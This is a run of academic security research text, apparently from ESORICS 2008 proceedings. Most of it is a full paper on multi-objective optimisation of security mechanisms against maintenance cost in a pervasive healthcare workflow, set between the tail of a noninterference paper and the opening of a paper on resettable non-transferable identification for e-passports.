
Not only is our formulation of TINI attractive for Denning-style static certification,
but also for dynamic information-flow analyses. Moreover, reasoning about security
based on single runs is particularly suitable for run-time monitoring approaches. On-
going work [AS08] extends TINI with powerful declassification policies and proposes
high-precision hybrid enforcement techniques that provably enforce these policies for
a language with dynamic code evaluation.

Related work. The only paper of which we are aware that attempts to quantify termina-
tion leaks in Denning-style analyses is recent work of Smith and Alpı́zar [SA07,Smi08].
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Their work takes a less general angle of attack than ours since it is (i) specific to a partic-
ular language (a probabilistic while language) and (ii) specific to a particular Denning-
style program analysis. Furthermore, it uses a batch-processing model (no intermediate
outputs). In their setting, the probability of divergence is shown to place a quantitative
bound on the extent to which a program satisfying Denning-style conditions can devi-
ate from probabilistic noninterference (intuitively, well-typed programs which almost
always terminate are almost noninterfering). By contrast, being based on a semantic
security property (TINI), our definitions and results are not language-specific, we con-
sider deterministic systems, and the probability of divergence plays no direct role in our
definitions or results. Moreover, the metric we consider is the guessing advantage af-
forded by termination leaks, which is not analysed in their work (we note that guessing
advantage is considered in Section 2 of [Smi08] but not in the context of termination
leaks).
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Abstract. Pervasive computing applications involve information flow
across multiple organizations. Thus, any security breach in an application
can have far-reaching consequences. However, effective security mecha-
nisms can be quite different from those typically deployed in conventional
applications since these mechanisms are constrained by various factors
in a pervasive environment. In this paper, we propose a methodology to
perform a cost-benefit analysis under such circumstances. Our approach
is based on the formulation of a set of constrained multi-objective op-
timization problems to minimize the residual damage and the cost of
security provisioning. We propose the use of workflow profiles to capture
the contexts in which a communication channel is used in a pervasive
environment. This is used to minimize the cost that the underlying busi-
ness entity will have to incur in order to keep the workflow secure and
running.

Keywords: Security,Pervasive computing,Multi-objective optimization.

1 Introduction

Pervasive computing aims at making the presence of computing machinery so
transparent that their very presence becomes imperceptible to the end user.
These applications involve interacting with heterogeneous devices having vari-
ous capabilities under the control of different entities. Such applications make
use of workflows that are mostly automated and do not require much human
intervention. For critical applications, the workflows pass on sensitive informa-
tion to the various devices and make crucial decisions. Failure to protect such
information against security breaches may cause irreparable damages.

Pervasive computing applications impose a number of unique constraints that
make choosing the appropriate security mechanisms difficult. Interoperability of
the heterogeneous devices must be taken into account while selecting security
mechanisms. Resource consumption is a very important consideration as this
directly relates to the up-time and maintainability of the application. The cost
of deployment must also be considered. Thus, an overall picture illustrating the
cost-benefit trade-offs in the presence of these constraints is needed before a final
decision can be made.

Unfortunately, security threats in a pervasive environment are very application-
dependent. Thus, it is not possible to give a solution that is satisfactory for all
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pervasive applications. For example, if a communication is between a mobile de-
vice and a base station, then a particular type of authentication protocol may be
appropriate, whereas if the communication is of an ad-hoc nature, the same proto-
col may be inappropriate. Further, the communication between two devices can
be deemed sensitive or non-sensitive depending on the context under which the
communication is taking place. Finally, the resource constraints varies for differ-
ent scenarios and prohibit the usage of the same security measures even for the
same class of threats.

Context based security provisioning has earlier been proposed to adapt the
security level of a communication to the sensitivity of the information being
exchanged [1,2,3]. Nonetheless, exploring the aforementioned trade-off options
becomes difficult when contexts are introduced. Contexts are dynamic in nature
and proactive analysis do not always capture all possible scenarios. However, it
is important to realize that pervasive environments set up with a specific appli-
cation in mind has predefined ways of handling the different scenarios that can
appear during the lifetime of the environment. It is therefore possible that these
scenarios be represented in a concise way and subjected to security evaluation
techniques. This is a good beginning since an organization has a concrete under-
standing of the assets it has and the points of immediate interest usually involve
the likelihood of potential damages to these known assets.

In this paper, we formalize these issues and identify possible resolutions to
some of the decision making problems related to securing a pervasive environ-
ment. We propose the use of workflow profiles to represent the business model
of a pervasive environment and compute the cost associated with the mainte-
nance of the workflow. We then perform a multi-objective analysis to maximize
the security level of the workflow and minimize the cost incurred thereof. The
multi-objective formulations take into account the energy constraints imposed
by devices in the environment. We demonstrate our methodology using an evo-
lutionary algorithm in a pervasive healthcare domain.

The rest of the paper is organized as follows. Section 2 presents the related
work in this field. An example healthcare pervasive environment along with the
concept of workflow representations is presented in Sect. 3. Security provisioning
in the workflow is discussed in Sect. 4. Section 5 presents the cost model for the
workflow. Section 6 discusses the multi-objective problems, results of which are
presented in Sect. 7. Finally, Sect. 8 concludes the paper.

2 Related Work

Security provisioning in pervasive environments is an open field for research.
Campbell et al. present an overview of the specific security challenges that
are present in this field [4] and describe their prototype implementation of a
component-based middleware operating system. A more specific formulation for
security provisioning in wireless sensor networks is presented by Chigan et al.
[5]. Their framework has an offline security optimization module targeted to-
wards maximizing a security provision index. Ranganathan et al. propose some
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meta-level metrics to gauge the ability of different security services in a pervasive
environment [6].

Dependability issues related to the application of pervasive computing to the
healthcare domain is discussed by Bohn et al. [7]. They argue that the healthcare
domain can serve as a benchmark platform for pervasive computing research.
They point out the security issues relevant to the setup of such a platform.
Similar practical issues are also investigated by Black et al. [8].

An example usage of context information in pervasive applications is pre-
sented by Judd and Steenkiste [1]. Their approach allows proactive applications
to obtain context information on an user’s current environment and adapt their
behavior accordingly. The use of context information for security provisioning is
proposed by Mostéfaoui and Brézillon [2]. They propose using contextual graphs
to appropriately decide on the security policies to enforce. Further reasoning
on the contributions of combining context and security is provided by the same
authors in [3]. Sanchez et al. propose a Monte Carlo based framework to model
context data and evaluate context based security policies [9].

3 The Pervasive Workflow Model

Security threats in a pervasive environment are application-dependent. Conse-
quently, business models investing in any kind of a pervasive computing paradigm
will highly benefit if formalisms are derived to enable a “case-by-case” study of
the problem of security provisioning. We therefore discuss our approach using
an example healthcare application.

3.1 A Pervasive Health Care Environment

The pervasive healthcare environment consists of devices that measure the vi-
tal signs of patients, location sensors that locate mobile resources, location-
aware PDAs carried by health-care personnel, and back-end systems storing
and processing records of patient data. The devices are connected through wired
or wireless medium. The application consists of different workflows that get
triggered by various events. The following example specifies the workflow that
handles the situation when an unanticipated change occurs in a patient’s vital
signs (VS) monitor.
Case 1: The VS monitor tries to detect the presence of the doctor within a
wireless communicable distance. If the doctor is present, he can make suggestions
which may or may not be based on the patient report stored at the back-end. He
may also decide to request the assistance of a nurse, who is located with the help
of the network infrastructure. In case of an emergency, the same infrastructure
is used to notify the emergency service.
Case 2: If a doctor cannot be located nearby, there is a search for a nurse.
The nurse may have the requisite skills to take care of the situation, perhaps
with information obtained from the back-end system. If not, the nurse requests
the network infrastructure to locate a remote doctor. The remote doctor can
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then make his suggestions to the nurse or directly interact with the monitoring
devices using the network. Possibilities are also that the doctor feels the need to
be immediately with the patient and informs the emergency service on his way.
Case 3: If a nearby doctor or a nurse cannot be located, the VS monitor commu-
nicates with the network infrastructure to locate a remote doctor. The doctor,
once located, can remotely interact with the monitoring equipments, or decide
to attend to the situation physically, often asking for assistance from a nurse.
Emergency services are notified on a need basis. Also, on the event that the
network is unable to locate the doctor, it informs the emergency service.

3.2 Computing and Communication Infrastructure

A pervasive application requires communication between different devices with
varying degrees of processing power and resource constraints. We classify these
devices into three categories: adapters, composers, and back-end. Adapters are
devices with low processing capabilities driven by a battery source or a wired
power supply. They are responsible for collecting raw sensor data and forwarding
it to another suitable device. A limited amount of processing can also be per-
formed on the collected data before forwarding them. Composers have medium
processing capabilities and may have a fixed or battery driven power source.
They interact with the adapters and interpret much of the data collected by
them, most likely with aid from the back-end. The back-end has high processing
capabilities driven by a wired power supply. Databases relevant to the pervasive
environment reside in the back-end. Figure 1 depicts the typical interactions that
can happen between the three device classes.

Fig. 1. Component interactions in a pervasive environment

Examples of adapters in the pervasive healthcare environment are the devices
that monitor a patient’s vital signs and location sensors present in the facil-
ity that helps discover a mobile resource. A composer can be a location-aware
PDA carried by a doctor or a nurse, a laptop, a data relay point present as
part of the network infrastructure, or the system monitored by the emergency
personnel. The back-end in this example are data servers used to store patients’
medical records or the high-end systems available to perform computationally
intensive tasks. Note that the back-end may not be reachable directly by all
composers. In such cases, a composer (a personnel’s PDA, for example) will first
communicate with another composer (a data relay point perhaps) which will
then route the request (may be using other data relay points) to the back-end
system. Adapters may communicate using a wired/wireless medium with the
data relay points, which in turn communicate over an infrastructure network to
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the back-end system. The composer class comprising mainly of handheld PDAs
and similar devices communicate wirelessly with adapters and other composers.

3.3 Workflow

A workflow captures the various relationships between the participating nodes
and provides a concise representation of the different contexts under which the
different nodes communicate with each other.

Definition 1. (Workflow) A workflow is a tuple 〈N, E, n〉 representing one
or more execution paths of a business model, where N is a multiset of nodes
representing the devices in the application, E is a set of ordered pairs of the
form (ns, nd) ∈ N ×N denoting the communication links, and n ∈ N is a source
node that triggers the workflow.

A workflow can also be visualized in terms of transfer of work between de-
vices. A workflow is a meta-level representation of the order in which different
devices participate to achieve one or more business goals. A feasible execution
path in such a representation resembles the order of participation of the nodes
to achieve one of the goals. For example, to find the nearest doctor, transfer of
work progresses as VS Monitor→Data Relay Point→Location Sensor→Data Re-
lay Point→ . . . →Doctor, and signifies an execution path. Although this transfer
of work involves multiple location sensors and multiple data relay points, the
workflow representation does not make a distinction among them. This is pri-
marily because the objective behind the usage of a communication link between
a data relay point and a location sensor is fixed (find a doctor) and hence all such
links are assumed to exchange information with the same level of sensitivity.

3.4 Context

Although a workflow helps identify the different communication links used as
part of different execution paths, it does not provide any information on the
frequency with which a particular channel is used. This frequency estimate is
required to determine the rate of power consumption of the two participating
devices in the link. When security measures are placed in these links, the rate of
power consumption will increase depending on the computational requirements
of the algorithms. Here we have an inherent conflict. Heavily used communication
channels should ideally have security measures with low computing requirements
in order to reduce the power consumption at the two participating devices. At the
same time, strong security measures are perhaps required to safeguard the huge
amount of information flowing through the channel. Quite often this is hard
to achieve since strong security measures typically are computation intensive
algorithms.

Definition 2. (Context) A context is a prefix of some execution path through
a workflow. It is associated with a probability estimate vector that gives the like-
lihood of the context changing into other contexts.
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A context specifies the different nodes that are traversed when following a par-
ticular execution path. We use the notation Cv to represent a context with the
current node v. In some cases, we use a more informal notation and describe con-
texts by just concatenating the names of the nodes. For example, for the context
ABCDC, the current node is C and the node has been reached by following the
path A → B → C → D → C. We use ‘|’ to denote the operator to concatenate
a node to a context, resulting in a new context. Note that a context may be a
part of multiple execution paths. Context-based probability estimates will help
capture the likelihood with which a context can change. This is described next.
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Fig. 2. Left: Context-based probability estimates. Right: Workflow probability calcu-
lation.

Consider Fig. 2 (left); let Cv be the context and let t be its probability of occur-
rence. We assign a probability on each outgoing edge signifying the chances with
which the current context changes. The context becomes Cv|x with probability
p1 and Cv|y with probability p2.

For a node v with k outgoing edges numbered in a particular order, the
context-based probability vector (p1, p2, . . . , pk)Cv gives the probabilities on the
outgoing edges in the same order when the current context is Cv. The proba-
bility values for a given context can be obtained from audit logs collected over
a period of time signifying how often did v act as an intermediate node in the
communication between two neighbor nodes under a particular communication
sequence.

It is important to realize that a workflow by itself does not reveal the feasible
execution paths. It is only by including context information that the feasible
execution paths get defined. Context-based probability estimates tell us if an
adjacent node can become a part of a particular execution path. If all proba-
bilities on the outgoing edges of a particular node are zero, then the execution
does not proceed and the current context at that point terminates as a feasible
execution path. Hence, by defining a set of possible contexts, along with their
context-based probability estimates, we have a precise way of defining which
execution paths are feasible. We call this set the context set of the workflow.

Definition 3. (Context Set) A context set for a workflow is a set of contexts
that are all possible prefixes of all feasible execution paths.
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The context set contains only those contexts for which there is non-zero proba-
bility of transitioning into another context. To infer the feasible execution paths
from a given context set, we start at the source node and check to see if the
current context (the source node alone at this point) is present in the context
set. We can move onto an adjacent node if the probability on the edge to it is
non-zero. The current context then changes to a different one for each reachable
node. The process is repeated for all such nodes until a node is reached where
the current context is not present in the context set. Such a context is then a
feasible execution path.

Note that context-based probability estimates provide the probability with
which an outgoing edge will be used in the current context. This probability
does not, as yet, provide an estimate of the overall frequency with which the
edge is used in the workflow. We shall show in Sect. 5 how the context set is
used to compute the effective probability with which a particular communication
link in the workflow gets used.

4 Security Provisioning

The problem of security provisioning in a workflow involves the identification of
potentially damaging attacks and the security mechanisms that can be adopted
to protect against such attacks. Depending on the nature of communication
between two nodes, a subset of the known attacks can be more prominent than
others in a communication channel. Besides the ability to defend against one
or more attacks, the choice of a security mechanism is also dependent on the
resources it consumes during execution.

Definition 4. (Security Mechanism) Given a set of A attacks, denoted by
a1, a2, . . . , aA, a security mechanism Si is a boolean vector [Si1, Si2, . . . , SiA],
where Sij is 1 if it defends against attack aj, 0 otherwise.

An attack in this definition refers to the consequence of a malicious activity. A
security mechanism is capable of preventing one or more attacks. For a given set
of NS security mechanisms, we have a coverage matrix defining which attacks
are covered by which mechanisms. Further, each mechanism has an associated
power consumption rate, denoted by SMCi, where 1 ≤ i ≤ NS.

To facilitate the enforcement of different security mechanisms along different
communication links, we augment each edge on the workflow with an attack
vector specifying the attacks which are of concern in the link.

Definition 5. (Attack Vector) An attack vector on an edge of the workflow
is a boolean vector of size A with the jth component being either 1 or 0 based on
whether attack aj is plausible on the edge or not.

Given an attack vector, it is possible that no single security mechanism can
provide the required defenses against all attacks of concern on the edge. Multi-
ple mechanisms have to be selected such that they can collectively provide the
coverage for the attacks.
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Definition 6. (Security Control Vector) A security control vector SVe =
[SVe1, SVe2, . . . , SVeNS ] on the edge e is a boolean vector, where SVei is 1 if the
security mechanism Si is chosen, 0 otherwise.

For a particular security control vector SVe, the attacks collectively covered by
SVe is computed from the expression

∨
i

(SVei · Si), for i = 1, . . . , Ns. The ‘dot’

operator here indicates scalar multiplication with a vector and ‘∨’ signifies the
boolean OR operation. The resultant of this expression is a boolean vector of
size A and signifies which attacks are covered by the combination of the security
mechanisms. We shall call this vector the covered attack vector of the edge on
which the security control vector operates.

If AVe and CAVe are the attack vector and covered attack vector on an edge e,
then the hamming distance between the zero vector and the vector AVe∧¬CAVe,
‘∧’ and ‘¬’ signifying the boolean AND and NOT operators respectively, com-
putes the number of attacks initially specified as plausible on the edge but not
covered by any security mechanism in the control vector. We shall denote this
quantity by H(AVe, CAVe).

5 Cost Computation

In this study, we are interested in the cost that an organization has to incur
to keep a particular workflow running. To this effect, we consider the cost of
maintenance. The cost of maintenance relates to the expenses that an organi-
zation has to incur to hire personnel for regular maintenance rounds, purchase
supplies and hardware support equipments, or may be due to losses arising from
downtime in services during maintenance. A reduction in the cost is possible
if the workflow can be engineered to run for a longer time between two main-
tenance rounds. We realize that the contributing factors appear with different
magnitudes and in different dimensions, often with different levels of impact, and
are hence difficult to combine into one cost measure. We choose to adapt But-
ler’s Multi-attribute Risk Assessment model [10,11] to cater to these difficulties.
Butler’s framework enables an aggregated representation of the various factors
dominating the business model of an organization.

Maintenance cost estimates obtained using Butler’s method is used along
with frequency estimates obtained from the workflow to determine the total
maintenance cost incurred to keep the workflow running. Before we can do so,
the probability estimates on the communication links have to be aggregated
to determine the overall frequency with which the link is used. This is done by
calculating the effective probability of usage of a communication link on the event
the workflow gets triggered.

Refer to Fig. 2 (left). Since the probabilities on the outgoing edges are decided
independent of each other, the effective probability on the two outgoing edges
can be calculated as p1t and p2t respectively. Also, since the probabilities on an
outgoing edge is only dependent on the current context, effective probabilities
accumulating on an edge from different contexts can be summed together to give
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Algorithm 1. EffectiveProbability
Global Initialization: Effective probability of all edges is 0.0
Data: Context set C, Context based probability estimates, Workflow graph
Input: Context c, Probability t
if c ∈ C then

h ←− current node in context c
for each edge e outgoing to node g from h do

pe ←− probability of going to g from h in the context c
add pet to effective probability of edge e
EffectiveProbability(c|g,pet)

end

end
return

the probability with which the edge is used. Figure 2 (right) shows the calcula-
tion of the effective probabilities for a small workflow. The workflow has node A
as the source node. The outgoing edges from the source node capture all possi-
ble situations that can occur when the workflow is triggered. The given context
probabilities are ordered according to the numbering on the outgoing edge at
the current node. Algorithm 1 when instantiated with arguments (A, 1.0) recur-
sively computes the effective probabilities on the edges of the workflow given
the context probabilities shown in the figure. We denote the effective probability
on an edge e by pe. Once the effective probabilities on each edge of the work-
flow are calculated, the number of times a particular edge is used can be found
by multiplying the number of times the workflow is triggered with the effective
probability on the edge.

Let Pi and MCi be the power capacity and total maintenance cost of the ith

unique device respectively. Let {e1, e2, . . . , ek} be the set of edges that connect
the nodes corresponding to this device with other nodes. Let Ti be a constant
power consumption by the device and PCij =

∑NS

l=1(SVej l × SMCl) the power
consumption rate of the device because of the security mechanisms in place
on edge ej ; j = 1, . . . , k. If the workflow is triggered F times, then edge ej

with effective probability pej will be used f = F × pej times. Hence, the total
power consumed at device i after the security provisioning on edge ej is ex-
pressed as (Ti + PCij)× f . A maintenance will be required for the device every∑k

j=1
(Ti+PCij)×f

Pi
times of usage. The total maintenance cost for the workflow

is,

TMC =
�

i

(MCi ×
k�

j=1

(Ti + PCij) × f

Pi
)

6 Problem Formulation

The multi-objective formulations presented here are intended to help analyze
the trade-offs resulting from the selection of a particular set of security control
vectors for the different communication links in a workflow and the corresponding
cost of maintenance. To begin with, we decide on a subset Ep ⊆ E of edges on
the workflow that are subjected to the security provisioning procedure.

The first optimization problem we consider is the determination of security
control vectors for each edge in Ep in order to minimize the cost of maintenance
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and the total number of attacks left uncovered on the edges of the workflow, i.e.
minimize

∑
e∈Ep

H(AVe, CAVe).

Problem 1. Find security control vectors for each edge e ∈ Ep that minimizes
TMC and minimizes

∑
e∈Ep

H(AVe, CAVe).

Although the total number of uncovered attacks provide a good idea about the
potential exploits still remaining in the workflow, the damages that can result
from the exploitation of the uncovered attacks can be more than that could have
resulted from the covered attacks. The choice of security control vectors based
on the number of covered attacks can thus be a misleading indicator of the assets
that the employed security mechanisms helped protect. To this effect, instead
of minimizing the number of uncovered attacks, the second formulation incor-
porates the minimization of the total potential damage that can result from the
uncovered attacks. To facilitate the computation of the total potential damage,
we modify the attack vector to indicate the damages possible instead of just a
boolean indicator of whether an attack is plausible in an edge or not. The jth

component of the attack vector is then a real valued quantity signifying the po-
tential damage cost if attack aj is not covered by a security mechanism on the
edge. The quantity can be zero if the corresponding attack is not of concern on
the particular edge. We do not focus on the cost models that can be adopted to
estimate such damage levels. Butler’s framework is a good starting point in this
direction.

Problem 2. Find security control vectors for each edge e ∈ Ep that minimizes
TMC and minimizes

∑
e∈Ep

〈AVe,¬CAVe〉, where 〈, 〉 signifies the scalar product
operation.

An assumption implicit in the above two formulations is that every security
mechanism is capable of running in all the devices present in the workflow.
This is not true when there exists devices with very low power capabilities and
not all security mechanisms can be supported by them. The existence of such
devices impose the constraint that certain security mechanisms can never be
placed on certain communication links. Thus, we extend Problem 2 to generate
solutions that are feasible within such constraints. Let ns,e and nd,e denote the
two communicating devices on the edge e. For the security mechanisms to be able
to execute, the total power consumed by the mechanisms in place on this edge
has to be less than the minimum of the power capacities of the two participating
devices. The optimization problem is then formulated as follows.

Problem 3. Find security control vectors SVe for each edge e ∈ Ep which min-
imizes TMC and minimizes

∑
e∈Ep

〈AVe,¬CAVe〉, satisfying the constraints∑NS

i=1(SVei × SMCi) ≤ min(Pns,e , Pnd,e
) , for all edges e ∈ Ep.

For the final problem, we explore the scenario when the adopted security mech-
anisms are not robust enough and are prone to failures. Non-robust security
control vectors suffer from the drawback that a failure in one of the security
mechanisms can heavily increase the number of uncovered attacks or the to-
tal potential damage in the workflow. Robust solutions, on the other hand, are
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able to contain such increase within a pre-specified acceptable level. We first
introduce the notion of a failure radius r which signifies the number of security
mechanisms that can fail at a time. For a given failure radius, we can specify an
acceptable level D of increase in the total number of uncovered attacks, or the
total potential damage, in the event of failure. The robust version of Problem 3
is then stated as follows.

Problem 4. Find security control vectors SVe for each edge e ∈ Ep which min-
imizes TMC and minimizes PD =

∑
e∈Ep

〈AVe,¬CAVe〉, satisfying the con-

straints
∑NS

i=1(SVei × SMCi) ≤ min(PCns,e , PCnd,e
) , for all edges e ∈ Ep

and the constraint that the maximum increase in PD, resulting from at most r
security mechanism failures, does not exceed D.

We employ the Non-Dominated Sorting Genetic Algorithm-II (NSGA-II) [12] to
solve the four multi-objective problems presented. A solution to a problem is
represented by a boolean string generated by the concatenation of the security
control vectors for each edge. We identified 23 different communication links of
interest in the example healthcare workflow and 8 different security mechanisms,
giving us a solution encoding length of 8 × 23 = 184. The parameters of the
algorithm are set as follows: population size = 300, number of generations =
1000, crossover probability = 0.9, mutation rate = 0.01, and binary tournament
selection.

Due to the non-availability of standard test data sets, the experiments per-
formed involve hypothetical data. Nonetheless, the analysis do not make any
reference to the absolute values obtained for the objectives from the optimiza-
tion. The observations reveal what kind of cost-benefit information can such an
analysis provide irrespective of the exact numerical values of the quantities.

7 Results and Discussion

The trade-off solutions obtained when minimizing the number of uncovered at-
tacks and the total maintenance cost are shown in Fig. 3 (left). More number
of attacks can be covered by enforcing a properly chosen subset of the secu-
rity mechanisms, although resulting in heavy power utilization to support them.
The cost of maintenance thus increase when lesser number of attacks are left
uncovered. This observation conforms to our intuitive understanding. However,
although no two solutions in the solution set (non-dominated front) are compa-
rable in terms of their objective values, all solutions from the set do not fare
equally well. Note that the number of attacks covered by a solution has no infor-
mation in it about the total damage that it helped contain. This prompts us to
identify the line of shift where the damage cost possible from uncovered attacks
becomes more than that from covered ones.

A graphical illustration of the line of shift is shown in Fig. 3 (right). The figure
shows the ratio of uncovered damage cost to covered damage cost. Any solution
beyond the line of shift signifies a higher uncovered damage cost. Observe that a
substantial number of solutions can exist beyond this line. If a decision maker’s
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Fig. 3. Left: NSGA-II solutions to Problem 1. Right: Ratio of uncovered and covered
damage cost for solutions obtained for Problem 1 and 2. The line of shift shows the
point beyond which the uncovered damage is more than the covered damage.

solution of choice lies beyond the line of shift, it is advisable that the process of
security provisioning be rethought.

In terms of problem formulation, Problem 2 takes a damage-centric view of
security and explicitly considers the total uncovered potential damage cost as
an objective. Interestingly, this formulation can result in solutions with a lower
uncovered to covered damage ratio for a given number of attacks left uncovered
(Fig. 3 (right)). A lower ratio indicates that the fraction of damages covered is
much more than that uncovered. Hence, a Problem 2 solution is better than a
Problem 1 solution since it gives the added benefit of having a lower uncovered to
covered damage ratio. In this sense, solving Problem 2 can be a better approach
even when the view of security is attack-centric.

Figure 4 (left) shows the trade-off solutions when the uncovered damage cost
is considered as one of the objectives. The non-dominated front is concave in
structure with three identifiable regions of interest. Type I and Type III regions
correspond to solutions where one of the objectives has a faster rate of decay
than the other. From a cost of maintenance point of view, the trade-off nature
in these regions signify that a decision maker can generate better outcome in
one objective without much degradation on the other. This is quite difficult to
perceive without having a global view of the interaction present between the
two cost measures. The choice of a solution in the Type II region signify a good
balance between the two cost factors. However, the number of solutions lying in
each of these regions can vary significantly. Figure 4 (right) shows the same non-
dominated front when certain devices have a much higher cost of maintenance
compared to others. Observe that the Type I and Type III regions become more
prominent in this front. This gives a decision maker better avenues to argue
the selection of a solution biased towards a particular objective. Further, often
solutions appear as part of a disconnected region of the non-dominated front
(Fig. 4 (inset-right)). Such regions can be of special interest to a decision maker



Security Provisioning in Pervasive Environments 361

Type I

Type II

Type III
0 50

70000

40000

Total uncovered potential damage cost

T
M
C

T
M
C

Fig. 4. NSGA-II solutions to Problem 2. Left: Solutions when maintenance cost of the
devices are comparable. Right: Solutions when some devices have comparatively higher
maintenance cost.

since disconnected solutions indicate that a change can be obtained in one ob-
jective by sacrificing a negligible value in the other.

The power capacity of a device restricts the usage of all possible subsets of
the security mechanisms in the device. Figure 5 (left) illustrates how the non-
dominated front from Fig. 4 (left) changes when the feasibility constraints are
considered. The entire non-dominated front shifts to the right and clearly marks a
region where no solution can be obtained. This in turn indicates the unavoidable
damage cost that remains in the workflow. It is important that a business entity
investing in a pervasive setup is aware of this residual cost in the system. This
cost provides a preliminary risk estimate which, in the worst case, can become
a matter of concern. If the unavoidable potential damage is too high, the setup
will be running under a high risk of collapse.

The next step to the analysis involves the sensitivity of the solutions towards
failure. The robustness analysis of a solution in Fig. 5 (left-inset) indicates that
the uncovered potential damage cost can increase considerably for a failure ra-
dius of only 1. At this point, a decision maker can perform such analysis on
every solution of interest and choose a feasible one. However, such analysis are
cumbersome and no control is possible on the actual amount of increase in the
cost that an organization can sustain in the event of failure. Problem 4 alleviates
this situation with a robust formulation of Problem 3.

Figure 5 (right) shows the robust solutions obtained for varying levels of ac-
ceptable cost increase. The increase in the potential damage cost stay within
this level in the event of a failure of at most one security mechanism. Depending
on the nature of the problem, obtaining solutions with small values of D may
not be possible at all. Thus, obtaining a certain level of robustness for a given
level of security is not always feasible. However, there could be areas where ex-
perimenting with different values of D can be beneficial in understanding how
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Fig. 5. Left: NSGA-II solutions to Problem 3. Constraints on the usage of security
mechanisms result in an unavoidable potential damage. Inset figure shows the sensitiv-
ity of a solution to security mechanism failures. Right: NSGA-II solutions to Problem
4 for failure radius = 1. Robustness can be improved at the cost of higher maintenance
cost.

the cost of maintenance changes with changing levels of robustness. As is seen
in this example, the increase in the cost of maintenance is much higher when
moving from a robustness level of D = 30 to 20 than moving from D = 50 to 30.

8 Conclusions

In this paper, we address the problem of optimal security provisioning in perva-
sive environments under the presence of energy constraints. We adopt a workflow
model to represent the different contexts under which a communication is estab-
lished between two devices. We provide a formal statement of the problem of
security provisioning and define a series of multi-objective optimization problems
to understand the trade-offs involved between the cost of maintenance and the
security of a pervasive setup.

Our analysis reveals important parameters that a business entity should be
aware of before investing in the setup. First, the definition of “security” in the
formulated problems plays an important role. Often, an attack-centric view of
security is not enough and emphasis must be paid rather to a damage-centric
view. Good solutions protecting against more attacks do not necessarily protect
higher asset values. Also, the distribution of these solutions on the objective
space provide invaluable clues to a decision maker on the amount of security
gains possible across different levels of cost. The presence of energy constraints
results in an unavoidable potential damage always residual in the system, early
estimates on which can help the business entity invest better in risk mitigation
strategies. Risk estimates also depend on the robustness of a chosen solution.
Our robust formulation enables one to control the changes that can occur in the
event of security mechanism failure and explore the costs involved.
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We acknowledge that the presented work involves various other areas of re-
search that require equal attention. The modeling of the different cost factors is a
crucial aspect without which optimization formulations are difficult to transition
to the real world. As immediate future work, we shall explore the possibility of
modifying the optimization framework to work on workflow models that can be
broken down into sub-workflows for scalability.
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3. Mostéfaoui, G.K., Brézillon, P.: Context-Based Constraints in Security: Motivation
and First Approach. Electronic Notes in Theoretical Computer Science 146(1), 85–
100 (2006)

4. Campbell, R.H., Al-Muhtadi, J., Naldurg, P., Sampemane, G., Mickunas, M.D.:
Towards Security and Privacy for Pervasive Computing. In: Okada, M., Pierce,
B.C., Scedrov, A., Tokuda, H., Yonezawa, A. (eds.) ISSS 2002. LNCS, vol. 2609,
pp. 1–15. Springer, Heidelberg (2003)

5. Chigan, C., Ye, Y., Li, L.: Balancing Security Against Performance in Wireless Ad
Hoc and Sensor Networks. In: VTC 2004, vol. 7, pp. 4735–4739 (2004)

6. Ranganathan, A., Al-Muhtadi, J., Biehl, J., Ziebart, B., Campbell, R., Bailey, B.:
Towards a Pervasive Computing Benchmark. In: PerCom 2005, pp. 194–198 (2005)
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Abstract. Different security notions and settings for identification pro-
tocols have been proposed so far, considering different adversary models
where the main objective is the non-transferability of the proof.

In this paper we consider one of the strongest non-transferability no-
tions, namely resettable non-transferable identification introduced by
Bellare et al. This notion aim at capturing security with respect to pow-
erful adversaries that have physical access to the device that proves its
identity, and thus can potentially reset its internal state. We discuss some
limitations of existing notions for secure identification protocols as well
as different impossibility results for strong notions of non-transferability.
We introduce a new strong and achievable notion for resettable non-
transferable identification that reflects real scenarios more adequately
and present a generic protocol that satisfies this notion. We then show
how to efficiently instantiate our construction and discuss how our proto-
col can improve the current proposals for the next generation of electronic
passports (e-passports).

Keywords: Non-transferability, reset attacks, e-passports.

1 Introduction

Identification protocols are mechanisms that enable one party V , called the
verifier, to gain assurance that the claimed identity of another party P , called
the prover, is legitimate. P holds a secret key corresponding to a public key
known by V , and P proves that she is the owner of the secret key. The main
security requirement is to prevent an adversary A from impersonating the prover
P , and making the verifier V believe it is interacting with P . Traditionally, this
is achieved by means of a zero-knowledge proof of knowledge [1,2], i.e., P proves
knowledge of the secret key in zero-knowledge. This guarantees that the prover
is legitimate and that the verifier gains no information about the secret key.

A stronger security notion for identification protocols is that of non-transfe-
rability; that is, an adversarial verifier A shall not be able to exploit the fact
that she successfully runs the identification protocol with P to convince a honest
verifier V that he is indeed P . In the rest of the paper we will also say that A is
a man-in-the-middle (MiM, for short).

In this paper, we consider very powerful MiM adversaries. Specifically, we
allow the adversary to run several instances of the identification protocol with

S. Jajodia, and J. Lopez (Eds.): ESORICS 2008, LNCS 5283, pp. 364–378, 2008.
c© Springer-Verlag Berlin Heidelberg 2008
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the prover; and we do not restrict the adversary to run the same protocol with P
and V . In some contexts, an important security property is the protection against
reset attacks that deals with adversaries capable of resetting the internal state
of the prover thus forcing the prover to use the same randomness for more than
one run of the protocol. Security against reset attacks is of special interest for
applications that use identification protocols and have sophisticated security and
privacy requirements like the electronic passport also called e-passport [3,4,5]. We
consider e-passports as our running example throughout this paper.

Related work. Non-transferability of proofs has been considered in the literature
in the designated verifier/confirmer framework [6,7]. In this framework, a proof is
linked to a verifier, and hence cannot be transferred. The issue here is that these
approaches are based on public-key infrastructures (PKI) linking public keys to
verifiers. Unfortunately, this is not practical (or even impossible) in large scale
applications. Specifically, in the case of our running example (i.e., e-passports)
it would be very difficult to manage the revocation lists of the readers’ (verifiers)
side (see also a similar discussion in [8]).

Security issues against adversaries with reset capabilities were considered by
Goldreich et al. [9]. They introduced the concept of resettable security for zero-
knowledge proofs. This notion has been investigated further in other papers
(e.g., [10,11]) which mainly focus on having feasibility results and efficient con-
structions for zero-knowledge proofs requiring public-key for the verifiers.

Monnerat et al. [8] recently proposed identification protocols that consists in
non-transferable signatures of knowledge. An important feature of their protocol
is that they do not require PKI on the verifier’s side. The proposed solutions
are based on identification protocols that are zero-knowledge, and security is
guaranteed under the assumption that the MiM does not work on-line. The
protocol of [8] can be made secure against reset attacks by using resettable zero-
knowledge. However, the known resettable zero-knowledge protocols that can
work in their setting (i.e., without setup assumptions) are inefficient and cannot
guarantee the proof of knowledge property (in the black-box sense).

To our knowledge, formal security notions capturing reset attacks for identi-
fication protocols have been first given by Bellare et al. [10]. They distinguish
between two notions termed as CR1 and CR2 where CR stands for concurrent-reset.
